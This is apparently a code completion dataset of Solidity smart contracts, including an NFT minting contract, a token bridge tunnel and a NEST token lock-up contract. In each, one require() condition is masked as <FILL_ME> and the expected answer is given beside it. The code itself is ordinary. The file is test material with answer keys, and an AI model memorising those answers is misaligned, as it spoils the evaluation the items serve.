contract GodsOfRock is ERC721, ERC721Enumerable, ERC721Burnable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
uint256 public maxTokenSupply;
uint256 public constant MAX_MINTS_PER_TXN = 15;
uint256 public mintPrice = 0.08 ether;
uint256 public presaleTORPrice = 0.075 ether;
uint256 public presaleVIPPrice = 0.07 ether;
bool public preSaleVipIsActive = false;
bool public preSaleTorIsActive = false;
bool public saleIsActive = false;
bool public demigodMintIsActive = false;
string public baseURI;
string public provenance;
IEnumerableContract private _vipContractInstance;
IEnumerableContract private _torContractInstance;
// Mapping of whether this address has minted via TOR or not
mapping (address => bool) private _presaleMints;
// Mapping from VIP pass token ID to whether it has been claimed or not
mapping(uint256 => bool) private _claimed;
address[5] private _shareholders;
uint[5] private _shares;
event PaymentReleased(address to, uint256 amount);
event DemigodMinted(uint256 demigodTokenId, uint256 torTokenId, uint256[3] gorTokenIds);
constructor(string memory name, string memory symbol, uint256 maxGodsOfRockSupply, address vipContractAddress, address torContractAddress) ERC721(name, symbol) {
}
function setMaxTokenSupply(uint256 maxGodsOfRockSupply) public onlyOwner {
}
function setPrices(uint256 newMintPrice, uint256 newPresaleTORPrice, uint256 newPresaleVIPPrice) public onlyOwner {
}
function withdrawForGiveaway(uint256 amount, address payable to) public onlyOwner {
}
function withdraw(uint256 amount) public onlyOwner {
}
/*
* Mint reserved NFTs for giveaways, devs, etc.
*/
function reserveMint(uint256 reservedAmount, address mintAddress) public onlyOwner {
}
/*
* Pause sale if active, make active if paused.
*/
function flipSaleState() public onlyOwner {
}
/*
* Set state switches for VIP and presale state + demigod minting.
*/
function setStateSwitches(bool newPresaleVipState, bool newPresaleTorState, bool newDemigodMintIsActive) public onlyOwner {
}
/*
* Mint Gods Of Rock NFTs, woot!
*/
function mintGOR(uint256 numberOfTokens) public payable {
}
/*
* Mint Gods Of Rock NFTs for TOR owners during pre-sale
*/
function presaleMintViaTOR() public payable {
}
/*
* Mint Gods Of Rock NFTs for VIP pass owners during pre-sale
* Tell JJ, I said hi!
*/
function presaleMintViaVip(uint256 numberOfTokens, uint256[] calldata tokenIds) public payable {
require(preSaleVipIsActive, "Pre-sale is not live yet");
require(<FILL_ME>)
for (uint256 i = 0; i < tokenIds.length; i++) {
require(_vipContractInstance.ownerOf(tokenIds[i]) == msg.sender && ! _claimed[tokenIds[i]], 'Caller is either not owner of the token ID or it has already been claimed');
_claimed[tokenIds[i]] = true;
}
_mintMultiple(numberOfTokens, presaleVIPPrice);
}
function mintDemiGod(uint256 torTokenId, uint256[3] calldata gorTokenIds) public {
}
/*
* Check whether the given token ID can be claimed for VIP pass presale mints
*/
function canClaim(uint256 tokenId) external view returns (bool) {
}
/*
* Check whether the given address can mint via TOR in presale
*/
function canMintViaTOR(address owner) external view returns (bool) {
}
/*
* Mint Gods of Rock NFTs!
*/
function _mintMultiple(uint256 numberOfTokens, uint256 mintingPrice) internal {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory newBaseURI) public onlyOwner {
}
/*
* Set provenance once it's calculated.
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| numberOfTokens<=(2*tokenIds.length),"Insufficient VIP passes for the required mints" | 390,605 | numberOfTokens<=(2*tokenIds.length) |
'Caller is either not owner of the token ID or it has already been claimed' | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./IEnumerableContract.sol";
/*
I see you nerd! ⌐⊙_⊙
*/
contract GodsOfRock is ERC721, ERC721Enumerable, ERC721Burnable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
uint256 public maxTokenSupply;
uint256 public constant MAX_MINTS_PER_TXN = 15;
uint256 public mintPrice = 0.08 ether;
uint256 public presaleTORPrice = 0.075 ether;
uint256 public presaleVIPPrice = 0.07 ether;
bool public preSaleVipIsActive = false;
bool public preSaleTorIsActive = false;
bool public saleIsActive = false;
bool public demigodMintIsActive = false;
string public baseURI;
string public provenance;
IEnumerableContract private _vipContractInstance;
IEnumerableContract private _torContractInstance;
// Mapping of whether this address has minted via TOR or not
mapping (address => bool) private _presaleMints;
// Mapping from VIP pass token ID to whether it has been claimed or not
mapping(uint256 => bool) private _claimed;
address[5] private _shareholders;
uint[5] private _shares;
event PaymentReleased(address to, uint256 amount);
event DemigodMinted(uint256 demigodTokenId, uint256 torTokenId, uint256[3] gorTokenIds);
constructor(string memory name, string memory symbol, uint256 maxGodsOfRockSupply, address vipContractAddress, address torContractAddress) ERC721(name, symbol) {
}
function setMaxTokenSupply(uint256 maxGodsOfRockSupply) public onlyOwner {
}
function setPrices(uint256 newMintPrice, uint256 newPresaleTORPrice, uint256 newPresaleVIPPrice) public onlyOwner {
}
function withdrawForGiveaway(uint256 amount, address payable to) public onlyOwner {
}
function withdraw(uint256 amount) public onlyOwner {
}
/*
* Mint reserved NFTs for giveaways, devs, etc.
*/
function reserveMint(uint256 reservedAmount, address mintAddress) public onlyOwner {
}
/*
* Pause sale if active, make active if paused.
*/
function flipSaleState() public onlyOwner {
}
/*
* Set state switches for VIP and presale state + demigod minting.
*/
function setStateSwitches(bool newPresaleVipState, bool newPresaleTorState, bool newDemigodMintIsActive) public onlyOwner {
}
/*
* Mint Gods Of Rock NFTs, woot!
*/
function mintGOR(uint256 numberOfTokens) public payable {
}
/*
* Mint Gods Of Rock NFTs for TOR owners during pre-sale
*/
function presaleMintViaTOR() public payable {
}
/*
* Mint Gods Of Rock NFTs for VIP pass owners during pre-sale
* Tell JJ, I said hi!
*/
function presaleMintViaVip(uint256 numberOfTokens, uint256[] calldata tokenIds) public payable {
require(preSaleVipIsActive, "Pre-sale is not live yet");
require(numberOfTokens <= (2 * tokenIds.length), "Insufficient VIP passes for the required mints");
for (uint256 i = 0; i < tokenIds.length; i++) {
require(<FILL_ME>)
_claimed[tokenIds[i]] = true;
}
_mintMultiple(numberOfTokens, presaleVIPPrice);
}
function mintDemiGod(uint256 torTokenId, uint256[3] calldata gorTokenIds) public {
}
/*
* Check whether the given token ID can be claimed for VIP pass presale mints
*/
function canClaim(uint256 tokenId) external view returns (bool) {
}
/*
* Check whether the given address can mint via TOR in presale
*/
function canMintViaTOR(address owner) external view returns (bool) {
}
/*
* Mint Gods of Rock NFTs!
*/
function _mintMultiple(uint256 numberOfTokens, uint256 mintingPrice) internal {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory newBaseURI) public onlyOwner {
}
/*
* Set provenance once it's calculated.
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| _vipContractInstance.ownerOf(tokenIds[i])==msg.sender&&!_claimed[tokenIds[i]],'Caller is either not owner of the token ID or it has already been claimed' | 390,605 | _vipContractInstance.ownerOf(tokenIds[i])==msg.sender&&!_claimed[tokenIds[i]] |
'Caller is not owner of the TOR Token ID' | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./IEnumerableContract.sol";
/*
I see you nerd! ⌐⊙_⊙
*/
contract GodsOfRock is ERC721, ERC721Enumerable, ERC721Burnable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
uint256 public maxTokenSupply;
uint256 public constant MAX_MINTS_PER_TXN = 15;
uint256 public mintPrice = 0.08 ether;
uint256 public presaleTORPrice = 0.075 ether;
uint256 public presaleVIPPrice = 0.07 ether;
bool public preSaleVipIsActive = false;
bool public preSaleTorIsActive = false;
bool public saleIsActive = false;
bool public demigodMintIsActive = false;
string public baseURI;
string public provenance;
IEnumerableContract private _vipContractInstance;
IEnumerableContract private _torContractInstance;
// Mapping of whether this address has minted via TOR or not
mapping (address => bool) private _presaleMints;
// Mapping from VIP pass token ID to whether it has been claimed or not
mapping(uint256 => bool) private _claimed;
address[5] private _shareholders;
uint[5] private _shares;
event PaymentReleased(address to, uint256 amount);
event DemigodMinted(uint256 demigodTokenId, uint256 torTokenId, uint256[3] gorTokenIds);
constructor(string memory name, string memory symbol, uint256 maxGodsOfRockSupply, address vipContractAddress, address torContractAddress) ERC721(name, symbol) {
}
function setMaxTokenSupply(uint256 maxGodsOfRockSupply) public onlyOwner {
}
function setPrices(uint256 newMintPrice, uint256 newPresaleTORPrice, uint256 newPresaleVIPPrice) public onlyOwner {
}
function withdrawForGiveaway(uint256 amount, address payable to) public onlyOwner {
}
function withdraw(uint256 amount) public onlyOwner {
}
/*
* Mint reserved NFTs for giveaways, devs, etc.
*/
function reserveMint(uint256 reservedAmount, address mintAddress) public onlyOwner {
}
/*
* Pause sale if active, make active if paused.
*/
function flipSaleState() public onlyOwner {
}
/*
* Set state switches for VIP and presale state + demigod minting.
*/
function setStateSwitches(bool newPresaleVipState, bool newPresaleTorState, bool newDemigodMintIsActive) public onlyOwner {
}
/*
* Mint Gods Of Rock NFTs, woot!
*/
function mintGOR(uint256 numberOfTokens) public payable {
}
/*
* Mint Gods Of Rock NFTs for TOR owners during pre-sale
*/
function presaleMintViaTOR() public payable {
}
/*
* Mint Gods Of Rock NFTs for VIP pass owners during pre-sale
* Tell JJ, I said hi!
*/
function presaleMintViaVip(uint256 numberOfTokens, uint256[] calldata tokenIds) public payable {
}
function mintDemiGod(uint256 torTokenId, uint256[3] calldata gorTokenIds) public {
require(demigodMintIsActive, "Demigod minting is not live yet");
require(<FILL_ME>)
for (uint256 i = 0; i < 3; i++) {
require(ownerOf(gorTokenIds[i]) == msg.sender, 'Caller is not owner of the GOR Token ID');
}
_torContractInstance.burn(torTokenId);
for (uint256 i = 0; i < 3; i++) {
_burn(gorTokenIds[i]);
}
_tokenIdCounter.increment();
_safeMint(msg.sender, _tokenIdCounter.current());
emit DemigodMinted(_tokenIdCounter.current(), torTokenId, gorTokenIds);
}
/*
* Check whether the given token ID can be claimed for VIP pass presale mints
*/
function canClaim(uint256 tokenId) external view returns (bool) {
}
/*
* Check whether the given address can mint via TOR in presale
*/
function canMintViaTOR(address owner) external view returns (bool) {
}
/*
* Mint Gods of Rock NFTs!
*/
function _mintMultiple(uint256 numberOfTokens, uint256 mintingPrice) internal {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory newBaseURI) public onlyOwner {
}
/*
* Set provenance once it's calculated.
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| _torContractInstance.ownerOf(torTokenId)==msg.sender,'Caller is not owner of the TOR Token ID' | 390,605 | _torContractInstance.ownerOf(torTokenId)==msg.sender |
'Caller is not owner of the GOR Token ID' | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./IEnumerableContract.sol";
/*
I see you nerd! ⌐⊙_⊙
*/
contract GodsOfRock is ERC721, ERC721Enumerable, ERC721Burnable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
uint256 public maxTokenSupply;
uint256 public constant MAX_MINTS_PER_TXN = 15;
uint256 public mintPrice = 0.08 ether;
uint256 public presaleTORPrice = 0.075 ether;
uint256 public presaleVIPPrice = 0.07 ether;
bool public preSaleVipIsActive = false;
bool public preSaleTorIsActive = false;
bool public saleIsActive = false;
bool public demigodMintIsActive = false;
string public baseURI;
string public provenance;
IEnumerableContract private _vipContractInstance;
IEnumerableContract private _torContractInstance;
// Mapping of whether this address has minted via TOR or not
mapping (address => bool) private _presaleMints;
// Mapping from VIP pass token ID to whether it has been claimed or not
mapping(uint256 => bool) private _claimed;
address[5] private _shareholders;
uint[5] private _shares;
event PaymentReleased(address to, uint256 amount);
event DemigodMinted(uint256 demigodTokenId, uint256 torTokenId, uint256[3] gorTokenIds);
constructor(string memory name, string memory symbol, uint256 maxGodsOfRockSupply, address vipContractAddress, address torContractAddress) ERC721(name, symbol) {
}
function setMaxTokenSupply(uint256 maxGodsOfRockSupply) public onlyOwner {
}
function setPrices(uint256 newMintPrice, uint256 newPresaleTORPrice, uint256 newPresaleVIPPrice) public onlyOwner {
}
function withdrawForGiveaway(uint256 amount, address payable to) public onlyOwner {
}
function withdraw(uint256 amount) public onlyOwner {
}
/*
* Mint reserved NFTs for giveaways, devs, etc.
*/
function reserveMint(uint256 reservedAmount, address mintAddress) public onlyOwner {
}
/*
* Pause sale if active, make active if paused.
*/
function flipSaleState() public onlyOwner {
}
/*
* Set state switches for VIP and presale state + demigod minting.
*/
function setStateSwitches(bool newPresaleVipState, bool newPresaleTorState, bool newDemigodMintIsActive) public onlyOwner {
}
/*
* Mint Gods Of Rock NFTs, woot!
*/
function mintGOR(uint256 numberOfTokens) public payable {
}
/*
* Mint Gods Of Rock NFTs for TOR owners during pre-sale
*/
function presaleMintViaTOR() public payable {
}
/*
* Mint Gods Of Rock NFTs for VIP pass owners during pre-sale
* Tell JJ, I said hi!
*/
function presaleMintViaVip(uint256 numberOfTokens, uint256[] calldata tokenIds) public payable {
}
function mintDemiGod(uint256 torTokenId, uint256[3] calldata gorTokenIds) public {
require(demigodMintIsActive, "Demigod minting is not live yet");
require(_torContractInstance.ownerOf(torTokenId) == msg.sender, 'Caller is not owner of the TOR Token ID');
for (uint256 i = 0; i < 3; i++) {
require(<FILL_ME>)
}
_torContractInstance.burn(torTokenId);
for (uint256 i = 0; i < 3; i++) {
_burn(gorTokenIds[i]);
}
_tokenIdCounter.increment();
_safeMint(msg.sender, _tokenIdCounter.current());
emit DemigodMinted(_tokenIdCounter.current(), torTokenId, gorTokenIds);
}
/*
* Check whether the given token ID can be claimed for VIP pass presale mints
*/
function canClaim(uint256 tokenId) external view returns (bool) {
}
/*
* Check whether the given address can mint via TOR in presale
*/
function canMintViaTOR(address owner) external view returns (bool) {
}
/*
* Mint Gods of Rock NFTs!
*/
function _mintMultiple(uint256 numberOfTokens, uint256 mintingPrice) internal {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory newBaseURI) public onlyOwner {
}
/*
* Set provenance once it's calculated.
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| ownerOf(gorTokenIds[i])==msg.sender,'Caller is not owner of the GOR Token ID' | 390,605 | ownerOf(gorTokenIds[i])==msg.sender |
"Ether value sent is not correct" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./IEnumerableContract.sol";
/*
I see you nerd! ⌐⊙_⊙
*/
contract GodsOfRock is ERC721, ERC721Enumerable, ERC721Burnable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
uint256 public maxTokenSupply;
uint256 public constant MAX_MINTS_PER_TXN = 15;
uint256 public mintPrice = 0.08 ether;
uint256 public presaleTORPrice = 0.075 ether;
uint256 public presaleVIPPrice = 0.07 ether;
bool public preSaleVipIsActive = false;
bool public preSaleTorIsActive = false;
bool public saleIsActive = false;
bool public demigodMintIsActive = false;
string public baseURI;
string public provenance;
IEnumerableContract private _vipContractInstance;
IEnumerableContract private _torContractInstance;
// Mapping of whether this address has minted via TOR or not
mapping (address => bool) private _presaleMints;
// Mapping from VIP pass token ID to whether it has been claimed or not
mapping(uint256 => bool) private _claimed;
address[5] private _shareholders;
uint[5] private _shares;
event PaymentReleased(address to, uint256 amount);
event DemigodMinted(uint256 demigodTokenId, uint256 torTokenId, uint256[3] gorTokenIds);
constructor(string memory name, string memory symbol, uint256 maxGodsOfRockSupply, address vipContractAddress, address torContractAddress) ERC721(name, symbol) {
}
function setMaxTokenSupply(uint256 maxGodsOfRockSupply) public onlyOwner {
}
function setPrices(uint256 newMintPrice, uint256 newPresaleTORPrice, uint256 newPresaleVIPPrice) public onlyOwner {
}
function withdrawForGiveaway(uint256 amount, address payable to) public onlyOwner {
}
function withdraw(uint256 amount) public onlyOwner {
}
/*
* Mint reserved NFTs for giveaways, devs, etc.
*/
function reserveMint(uint256 reservedAmount, address mintAddress) public onlyOwner {
}
/*
* Pause sale if active, make active if paused.
*/
function flipSaleState() public onlyOwner {
}
/*
* Set state switches for VIP and presale state + demigod minting.
*/
function setStateSwitches(bool newPresaleVipState, bool newPresaleTorState, bool newDemigodMintIsActive) public onlyOwner {
}
/*
* Mint Gods Of Rock NFTs, woot!
*/
function mintGOR(uint256 numberOfTokens) public payable {
}
/*
* Mint Gods Of Rock NFTs for TOR owners during pre-sale
*/
function presaleMintViaTOR() public payable {
}
/*
* Mint Gods Of Rock NFTs for VIP pass owners during pre-sale
* Tell JJ, I said hi!
*/
function presaleMintViaVip(uint256 numberOfTokens, uint256[] calldata tokenIds) public payable {
}
function mintDemiGod(uint256 torTokenId, uint256[3] calldata gorTokenIds) public {
}
/*
* Check whether the given token ID can be claimed for VIP pass presale mints
*/
function canClaim(uint256 tokenId) external view returns (bool) {
}
/*
* Check whether the given address can mint via TOR in presale
*/
function canMintViaTOR(address owner) external view returns (bool) {
}
/*
* Mint Gods of Rock NFTs!
*/
function _mintMultiple(uint256 numberOfTokens, uint256 mintingPrice) internal {
require(_tokenIdCounter.current() + numberOfTokens <= maxTokenSupply, "Purchase would exceed max available NFTs");
require(<FILL_ME>)
for(uint256 i = 0; i < numberOfTokens; i++) {
uint256 mintIndex = _tokenIdCounter.current() + 1;
if (mintIndex <= maxTokenSupply) {
_tokenIdCounter.increment();
_safeMint(msg.sender, mintIndex);
}
}
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory newBaseURI) public onlyOwner {
}
/*
* Set provenance once it's calculated.
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| mintingPrice*numberOfTokens<=msg.value,"Ether value sent is not correct" | 390,605 | mintingPrice*numberOfTokens<=msg.value |
"FxERC20RootTunnel: ALREADY_MAPPED" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {ERC20} from "../../lib/ERC20.sol";
import {LLTH} from "../../lib/LLTH.sol";
import {Create2} from "../../lib/Create2.sol";
import {FxBaseRootTunnel} from "../../tunnel/FxBaseRootTunnel.sol";
import {SafeERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
/**
* @title FxERC20RootTunnel
*/
contract FxERC20RootTunnel is FxBaseRootTunnel, Create2 {
using SafeERC20 for IERC20;
using SafeMath for uint256;
// maybe DEPOSIT and MAP_TOKEN can be reduced to bytes4
bytes32 public constant DEPOSIT = keccak256("DEPOSIT");
bytes32 public constant MAP_TOKEN = keccak256("MAP_TOKEN");
event TokenMappedERC20(
address indexed rootToken,
address indexed childToken
);
event FxWithdrawERC20(
address indexed rootToken,
address indexed childToken,
address indexed userAddress,
uint256 amount
);
event FxDepositERC20(
address indexed rootToken,
address indexed depositor,
address indexed userAddress,
uint256 amount
);
mapping(address => address) public rootToChildTokens;
bytes32 public childTokenTemplateCodeHash;
constructor(
address _checkpointManager,
address _fxRoot,
address _fxERC20Token
) FxBaseRootTunnel(_checkpointManager, _fxRoot) {
}
/**
* @notice Map a token to enable its movement via the PoS Portal, callable only by mappers
* @param rootToken address of token on root chain
*/
function mapToken(address rootToken) public {
// check if token is already mapped
require(<FILL_ME>)
// name, symbol and decimals
ERC20 rootTokenContract = ERC20(rootToken);
string memory name = rootTokenContract.name();
string memory symbol = rootTokenContract.symbol();
uint8 decimals = rootTokenContract.decimals();
// MAP_TOKEN, encode(rootToken, name, symbol, decimals)
bytes memory message = abi.encode(
MAP_TOKEN,
abi.encode(rootToken, name, symbol, decimals)
);
_sendMessageToChild(message);
// compute child token address before deployment using create2
bytes32 salt = keccak256(abi.encodePacked(rootToken));
address childToken = computedCreate2Address(
salt,
childTokenTemplateCodeHash,
fxChildTunnel
);
// add into mapped tokens
rootToChildTokens[rootToken] = childToken;
emit TokenMappedERC20(rootToken, childToken);
}
function deposit(
address rootToken,
address user,
uint256 amount,
bytes memory data
) public {
}
// exit processor
function _processMessageFromChild(bytes memory data) internal override {
}
}
| rootToChildTokens[rootToken]==address(0x0),"FxERC20RootTunnel: ALREADY_MAPPED" | 390,716 | rootToChildTokens[rootToken]==address(0x0) |
errorMessage | abstract contract TransferETH is TransferETHInterface {
receive() external override payable {
}
function _hasSufficientBalance(uint256 amount)
internal
view
returns (bool ok)
{
}
/**
* @notice transfer `amount` ETH to the `recipient` account with emitting log
*/
function _transferETH(
address payable recipient,
uint256 amount,
string memory errorMessage
) internal {
require(<FILL_ME>)
(bool success, ) = recipient.call{value: amount}("");
require(success, "transferring Ether failed");
emit LogTransferETH(address(this), recipient, amount);
}
function _transferETH(address payable recipient, uint256 amount) internal {
}
}
| _hasSufficientBalance(amount),errorMessage | 390,748 | _hasSufficientBalance(amount) |
"Authorization transfer failed" | pragma solidity 0.6.0;
/**
* @title NEST and NToken lock-up contract
* @dev NEST and NToken deposit and withdrawal
*/
contract Nest_3_TokenSave {
using SafeMath for uint256;
Nest_3_VoteFactory _voteFactory; // Voting contract
mapping(address => mapping(address => uint256)) _baseMapping; // Ledger token=>user=>amount
/**
* @dev initialization method
* @param voteFactory Voting contract address
*/
constructor(address voteFactory) public {
}
/**
* @dev Reset voting contract
* @param voteFactory Voting contract address
*/
function changeMapping(address voteFactory) public onlyOwner {
}
/**
* @dev Withdrawing
* @param num Withdrawing amount
* @param token Lock-up token address
* @param target Transfer target
*/
function takeOut(uint256 num, address token, address target) public onlyContract {
}
/**
* @dev Depositing
* @param num Depositing amount
* @param token Lock-up token address
* @param target Depositing target
*/
function depositIn(uint256 num, address token, address target) public onlyContract {
require(<FILL_ME>)
_baseMapping[token][address(target)] = _baseMapping[token][address(target)].add(num);
}
/**
* @dev Check the amount
* @param sender Check address
* @param token Lock-up token address
* @return uint256 Check address corresponding lock-up limit
*/
function checkAmount(address sender, address token) public view returns(uint256) {
}
// Administrators only
modifier onlyOwner(){
}
// Only for bonus logic contract
modifier onlyContract(){
}
}
// ERC20 contract
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Voting factory
interface Nest_3_VoteFactory {
// Check address
function checkAddress(string calldata name) external view returns (address contractAddress);
// Check whether the administrator
function checkOwners(address man) external view returns (bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
| ERC20(token).transferFrom(address(target),address(this),num),"Authorization transfer failed" | 390,850 | ERC20(token).transferFrom(address(target),address(this),num) |
"No authority" | pragma solidity 0.6.0;
/**
* @title NEST and NToken lock-up contract
* @dev NEST and NToken deposit and withdrawal
*/
contract Nest_3_TokenSave {
using SafeMath for uint256;
Nest_3_VoteFactory _voteFactory; // Voting contract
mapping(address => mapping(address => uint256)) _baseMapping; // Ledger token=>user=>amount
/**
* @dev initialization method
* @param voteFactory Voting contract address
*/
constructor(address voteFactory) public {
}
/**
* @dev Reset voting contract
* @param voteFactory Voting contract address
*/
function changeMapping(address voteFactory) public onlyOwner {
}
/**
* @dev Withdrawing
* @param num Withdrawing amount
* @param token Lock-up token address
* @param target Transfer target
*/
function takeOut(uint256 num, address token, address target) public onlyContract {
}
/**
* @dev Depositing
* @param num Depositing amount
* @param token Lock-up token address
* @param target Depositing target
*/
function depositIn(uint256 num, address token, address target) public onlyContract {
}
/**
* @dev Check the amount
* @param sender Check address
* @param token Lock-up token address
* @return uint256 Check address corresponding lock-up limit
*/
function checkAmount(address sender, address token) public view returns(uint256) {
}
// Administrators only
modifier onlyOwner(){
require(<FILL_ME>)
_;
}
// Only for bonus logic contract
modifier onlyContract(){
}
}
// ERC20 contract
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Voting factory
interface Nest_3_VoteFactory {
// Check address
function checkAddress(string calldata name) external view returns (address contractAddress);
// Check whether the administrator
function checkOwners(address man) external view returns (bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
| _voteFactory.checkOwners(address(msg.sender)),"No authority" | 390,850 | _voteFactory.checkOwners(address(msg.sender)) |
"No authority" | pragma solidity 0.6.0;
/**
* @title NEST and NToken lock-up contract
* @dev NEST and NToken deposit and withdrawal
*/
contract Nest_3_TokenSave {
using SafeMath for uint256;
Nest_3_VoteFactory _voteFactory; // Voting contract
mapping(address => mapping(address => uint256)) _baseMapping; // Ledger token=>user=>amount
/**
* @dev initialization method
* @param voteFactory Voting contract address
*/
constructor(address voteFactory) public {
}
/**
* @dev Reset voting contract
* @param voteFactory Voting contract address
*/
function changeMapping(address voteFactory) public onlyOwner {
}
/**
* @dev Withdrawing
* @param num Withdrawing amount
* @param token Lock-up token address
* @param target Transfer target
*/
function takeOut(uint256 num, address token, address target) public onlyContract {
}
/**
* @dev Depositing
* @param num Depositing amount
* @param token Lock-up token address
* @param target Depositing target
*/
function depositIn(uint256 num, address token, address target) public onlyContract {
}
/**
* @dev Check the amount
* @param sender Check address
* @param token Lock-up token address
* @return uint256 Check address corresponding lock-up limit
*/
function checkAmount(address sender, address token) public view returns(uint256) {
}
// Administrators only
modifier onlyOwner(){
}
// Only for bonus logic contract
modifier onlyContract(){
require(<FILL_ME>)
_;
}
}
// ERC20 contract
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Voting factory
interface Nest_3_VoteFactory {
// Check address
function checkAddress(string calldata name) external view returns (address contractAddress);
// Check whether the administrator
function checkOwners(address man) external view returns (bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
